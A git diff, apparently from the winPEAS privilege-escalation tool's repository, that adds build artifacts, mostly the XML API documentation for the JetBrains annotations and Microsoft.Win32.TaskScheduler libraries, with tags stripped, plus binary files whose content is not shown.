+ } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe new file mode 100755 index 0000000..6c2369e Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe.config b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe.config new file mode 100755 index 0000000..2c307fa --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.pdb new file mode 100755 index 0000000..900afcc Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..25324e0 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/x86/Debug/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7584 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + If set to , then no actions will ever be converted to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + If set to , then actions will be converted only under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + If set to , then any actions not supported by the Task Scheduler version will be converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + + + Gets or sets a an action at the specified index. + + The zero-based index of the action to get or set. + + + + Gets or sets a specified action from the collection. + + + The . + + The id () of the action to be retrieved. + + Specialized instance. + + + + + Mismatching Id for action and lookup. + + + + Adds an action to the task. + + A type derived from . + A derived class. + The bound that was added to the collection. + + + + Adds an to the task. + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + The bound that was added to the collection. + + + + Adds a new instance to the task. + + Type of task to be created + Specialized instance. + + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot contain null elements. + is null. + + + + Clears all actions from the task. + + + + + Determines whether the contains a specific value. + + The object to locate in the . + + true if is found in the ; otherwise, false. + + + + + Determines whether the specified action type is contained in this collection. + + Type of the action. + + true if the specified action type is contained in this collection; otherwise, false. + + + + + Copies the elements of the to an array of , starting at a particular index. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the objects within the . + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the action to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an action at the specified index. + + The zero-based index at which action should be inserted. + The action to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the action at a specified index. + + Index of action to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the actions in this collection. + + + A that represents the actions in this collection. + + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See details in the remarks for . + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has the Version1 flag set. + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for functionality that was + not forward-compatible. + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version2 flag set. + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive property set to true. + TaskDefinition.Settings.Volatile can be set to true. + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, see Enabled Property of + TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task Scheduler service does + not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration triggers, the task will + not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger is updated, the task + will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant cannot be combined with + the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is used, no password is + stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. The password must be + specified when a task is registered. This flag is not recommended for new tasks because it is less reliable than Password. + + + + Defines which 